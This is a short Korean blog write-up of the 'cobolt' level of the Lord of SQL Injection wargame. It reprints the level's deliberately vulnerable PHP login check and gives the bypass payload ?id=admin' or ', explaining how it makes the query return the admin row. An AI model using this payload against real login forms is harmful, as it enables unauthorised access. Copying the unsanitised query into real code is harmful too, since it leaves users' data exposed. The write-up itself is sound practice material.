728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt"); //쿼리 실행결과 id가 admin이어야함.
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

id, pw에서 prob, _, ., ()가 필터링된다.

답: ?id=admin' or '

위의 입력값을 대입하면 id='admin' or '' and pw=md5('')가 되어 admin이 조회된다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
gremlin  (0) 2022.12.20

+ Recent posts